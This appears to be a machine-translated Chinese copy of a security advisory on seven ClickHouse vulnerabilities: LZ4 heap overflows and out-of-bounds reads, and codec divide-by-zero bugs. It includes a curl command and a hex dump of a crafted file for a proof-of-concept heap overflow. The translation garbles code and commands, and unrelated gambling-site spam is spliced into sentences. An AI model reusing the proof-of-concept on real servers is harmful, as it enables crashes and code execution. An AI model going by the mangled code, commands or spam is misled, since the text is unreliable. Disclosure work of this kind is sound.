ClickHouse DBMS中发现7个RCE和DoS漏洞

JFrog安全研究团队不断监控开源项目,以发现新的漏洞或恶意软件包,并与更广泛的社区分享,以帮助改善其整体安全状况。作为这项工作的一部分,该团队最近发现了七个新的安全漏洞在ClickHouse是一个广泛使用的开源数据库管理系统(DBMS),专门用于在线分析处理(OLAP)。ClickHouse是Yandex为Yandex开发的。Metrica是一个网络分析工具,通常用于获取用户行为的可视化报告和视频记录,以及跟踪流量来源,以帮助评估在线和离线广告的有效性。JFrog安全团队负责任地披露了这些漏洞,并与ClickHouse的维护者一起验证修复。
这些漏洞需要身份验证,但可以由任何具有读权限的用户触发。这意味着攻击者必须对特定的ClickHouse服务器目标执行侦察以获得有效的凭据。任何一组凭证都可以,因为即使是具有最低权限的用户也可以触发所有漏洞。通过触发这些漏洞,攻击者可以使ClickHouse服务器崩溃,泄漏内存内容,甚至导致远程代码执行(RCE)。
以下是JFrog安全团队发现的七个漏洞:
- cve - 2021 - 43304和cve - 2021 - 43305-堆缓冲区溢出漏洞在LZ4压缩编解码器
- cve - 2021 - 42387和cve - 2021 - 42388-堆越界读取漏洞在LZ4压缩编解码器
- cve - 2021 - 42389-在Delta压缩编解码器中除以零
- cve - 2021 - 42390-在Delta-Double压缩编解码器中除以零
- cve - 2021 - 42391-在大猩猩压缩编解码器中除以零
| CVE ID | 描述 | 的潜在影响 | CVSSv3.1得分 |
| cve - 2021 - 43304 | 解析恶意查询时,LZ4压缩编解码器中的堆缓冲区溢出 | 远端控制设备 | 8.8 |
| cve - 2021 - 43305 | 解析恶意查询时,LZ4压缩编解码器中的堆缓冲区溢出 | 远端控制设备 | 8.8 |
| cve - 2021 - 42387 | 解析恶意查询时,在LZ4压缩编解码器中堆越界读取 | 拒绝服务或信息泄露 | 7.1 |
| cve - 2021 - 42388 | 解析恶意查询时,在LZ4压缩编解码器中堆越界读取 | 拒绝服务或信息泄露 | 7.1 |
| cve - 2021 - 42389 | 解析恶意查询时,Delta压缩编解码器中的除零 | 拒绝服务 | 6.5 |
| cve - 2021 - 42390 | 解析恶意查询时,在deltaddouble压缩编解码器中除以零 | 拒绝服务 | 6.5 |
| cve - 2021 - 42391 | 在解析恶意查询时,大猩猩压缩编解码器中的除零 | 拒绝服务 | 6.5 |
技术背景
ClickHouse服务器允许用户压缩查询。方法传递压缩查询减压= 1URL查询字符串参数到其web界面,如下所示:
cat query.bin | curl -s——data-binary @- 'http://serverIP:8123/?用户= guest1&password = 1234减压= 1”
其中serverIP是ClickHouse服务器的IP地址,该服务器设置了一个用户“guest1”,密码为“1234”。该用户还可以配置为“只读”策略。
查询的内容(query.bin)应该采用以下格式:
Struct {uint128_t哈希;//谷歌的CityHash128 uint8_t compress_method;uint32_t size_compressed_without_checksum;//整个结构体(包括compressed_data内容)的长度(以字节为单位)减去前16个字节的哈希字段。uint32_t decompressed_size;//期望的解压后输出大小char compressed_data[0];//压缩后的数据字节(可变长度)};
客户机将整个结构提供给服务器,从而控制其所有内容。
压缩后的数据通过构造一个CompressedReadBuffer使用该结构体作为输入的实例。
CompressedReadBuffer的代码调用readCompressedData它读取结构体并提取其长度值,计算结构体内容(不包括哈希字段)的CityHash128,并根据结构体的哈希字段进行验证。然后,它调整大小(基本上realloc ())最初的分配用于保存解压缩数据的内存缓冲区。然后,通过iccompressioncodec::decompress,选中的编解码器doDecompressData被称为。
在cve - 2021 - 42387,cve - 2021 - 43304,cve - 2021 - 42388和cve - 2021 - 43305LZ4编解码器调用LZ4::解压(source, dest, source_size, dest_size,…)以' compressed_data '为源,其长度为source_size,调整大小的内存缓冲区为dest,结构体的' decompressed_size '值为dest_size。LZ4::解压最终调用LZ4::decompressImpl(source, dest, dest_size)它在一个循环中执行实际的LZ4解压缩——以用户控制的长度和偏移量(作为compressed_data字节的一部分提供)将压缩输入的不同部分复制到解压缩的输出内存缓冲区。它定义了用于跟踪源(ip)和dest (op)中的当前位置的指针变量。
CVE-2021-43304 -堆缓冲区溢出漏洞
以下是与CVE-2021-43304相关的LZ4::decompressImpl()代码:
模板void NO_INLINE decompressImpl(const char * const source, char * const dest, size_t dest_size){…While (true){…wildCopy(op, ip, copy_end);///我们可以在buffer后面写入copy_amount - 1字节。IP += length;Op = copy_end;如果(copy_end >= output_end)返回;…}}
知识产权是一个指针,指向压缩缓冲区和人事处是指向已分配的目标缓冲区的指针,该缓冲区分配的大小为头文件中传递的给定decompressed_size。copy_end是指向复制区域末尾的指针。
copy_amount模板的参数,取值为8、16或32。复制区域被分成块复制,每个块的大小都是copy_amount。例如,这是wildCopy16的实现:
inline void wildCopy16(UInt8 * dst, const UInt8 * src, const UInt8 * dst_end) {/// Unrolling与clang正在做>10%的性能下降。#如果定义(__clang__) #pragma nounroll #endif do {copy16(dst, src);DST += 16;SRC += 16;} while (dst < dst end);}
因为用户控制decompressed_size对于压缩缓冲区,攻击者可以利用这种情况,通过准备压缩的数据,其标头包含一个decompressed_size,该值小于压缩数据的实际大小。请注意,溢出长度、源的分配大小和溢出字节内容完全由用户控制,这极大地方便了利用。
还要注意,现有的“if (copy_end >= output_end)”大小检查并不能防止此漏洞,因为它出现在复制操作之后。CVE-2021-43305类似于CVE-2021-43304,但是涉及到不同的复制操作(其源是目标缓冲区的受控偏移量)。
利用cve - 2021 - 43304
为了证明CVE-2021-43304的可利用性,我们创建了一个特制的压缩文件,并按照前面的解释发送了它。query.bin文件由以下头文件组成:
- hash =匹配计算的Cityhash
- compress_method = 0x82 (LZ4方法)
- Size_compressed_without_checksum = 0xc80a
- Decompressed_size = 0x1
对于压缩数据,我们使用' \xff '(重复200次)' A '(重复5100次)。这些是任意值。生成的格式错误的压缩文件:00000000 26 fc 61 db c0 83 bb 0a db 58 5a f0 34 e1 30 f6 |&.a......XZ.4.0.|
00000010 82 0a c8 000000 01 000000 000000 f0 ff ff ff ff ff ff |................|
00000020 ff ff ff ff ff ff ff ff ff ff ff |................|
*
00000000e0 ff ff 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |
00000000f0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | aaaaaaaaaaaaaaaaaaa |
*
0000年c81a
LZ4::decompressImpl()中的循环使用了200个0xff:
模板void NO_INLINE decompressImpl(const char * const source, char * const dest, size_t dest_size){…While (true){…size_t长度;Auto continue_read_length = [&] {unsigned s;Do {s = *ip++;长度+= s;} while (unlikely(s == 255));};///获取文字长度。Const unsigned token = *ip++; length = token >> 4; if (length == 0x0F) continue_read_length(); /// Copy literals. UInt8 * copy_end = op + length; ... wildCopy(op, ip, copy_end); /// Here we can write up to copy_amount - 1 bytes after buffer. ... } }
这将会增加长度除以0xff * 200 = 51000,这正好是剩余数据的大小。
因此,尽管解压缩后的大小为1,但更大的大小将被复制到目标。
通过将查询发送到一个易受攻击的ClickHouse服务器,同时调试服务器的进程,我们设法定期得到以下崩溃,证明了指令指针寄存器的控制,因为代码分支到从RAX寄存器中获取的地址,该地址已被我们的“a”值覆盖:

虽然这个特定的崩溃是统计上的,但我们相信,通过适当的堆整形技术,可以开发出一个稳定的漏洞。
CVE-2021-42388和CVE-2021-42387 -堆OOB读取漏洞
在LZ4: decompressImpl ():
模板void NO_INLINE decompressImpl(const char * const source, char * const dest, size_t dest_size){…While (true){…const UInt8 * match = op - offset;…如果(length > copy_amount * 2) wildCopy(op + copy_amount, match + copy_amount, copy_end);…}}
作为LZ4::decompressImpl()循环的一部分,从compressed_data中读取一个16位无符号用户提供的值(' offset ')。它从当前的操作中减去并存储在匹配指针(人事处开始的指针是桌子并向前移动)。没有证据证明匹配指针不小于桌子。稍后,可能会有一个从match到输出指针的复制操作复制超出边界的内存从' dest '内存缓冲区之前。访问缓冲区边界之外的内存可能会暴露敏感信息,或者在某些情况下由于分段错误导致应用程序崩溃。
CVE-2021-42387是一个类似于CVE-2021-42388的漏洞,它超出了作为复制操作一部分的压缩缓冲区(源)的上限。
CVE-2021-42389、CVE-2021-42390和CVE-2021-42391——除以零漏洞
这些都是ClickHouse支持的各种编解码器中的漏洞。它们基于将压缩缓冲区的第一个字节(在上面的“技术背景”部分中描述)设置为零。解压缩代码读取压缩缓冲区的第一个字节,并对其执行取模运算以获得余数:
UInt8 bytes_size = source[0];UInt8 bytes_to_skip = uncompressed_size % bytes_size;
在大多数情况下,Intel x86-64中的取模操作是由DIV指令执行的,该指令除了除数之外,还将余数保存在寄存器中。所以如果bytes_size为0,它最终会除以0。
这些漏洞是通过“智能模糊”解压机制发现的。智能模糊测试利用对输入格式的了解来生成(相对地)符合预期协议模式的输入数据,而不是完全随机的数据。
修复和解决方案
为了解决这些问题,更新ClickHouse到v21.10.2.15-stable版本或更高版本。
如果无法升级,请在服务器中添加防火墙规则,限制特定客户端访问web端口(8123)和TCP服务器端口(9000)。
JFrog的产品易受hth华体会最新官方网站攻击吗?
JFrog产hth华体会最新官方网站品不容易受到这个问题的影响,因为它们不使用ClickHouse DBMS
确认
我们要感谢ClickHouse Inc.团队及时和专业地处理这个问题。
了解更多
除了暴露新的安全漏洞和威胁之外,JFrog还通过自动安全扫描为开发人员和安全团队提供了访问其软件最新相关信息的便捷途径。探讨x光对你有帮助。
问题吗?想法吗?联络我们:research@www.si-fil.com如有任何查询。